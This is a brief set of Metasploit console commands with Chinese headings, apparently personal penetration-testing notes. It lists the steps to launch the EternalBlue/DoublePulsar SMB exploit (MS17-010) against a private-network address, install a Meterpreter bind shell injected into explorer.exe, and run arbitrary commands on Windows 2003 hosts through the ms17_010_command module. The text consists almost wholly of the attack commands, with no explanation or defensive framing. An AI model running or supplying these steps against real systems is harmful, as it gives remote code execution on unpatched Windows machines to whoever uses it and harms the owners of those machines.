use exploit/windows/smb/eternalblue_doublepulsar
show target
set payload windows/meterpreter/bind_tcp
set processinject explorer.exe
set rhost 192.168.2.136
run
命令执行模块:
遇到windows2003时可以选择该模块进行命令执行
use auxiliary/admin/smb/ms17_010_command
set command whoami
set rhost 192.168.2.152
run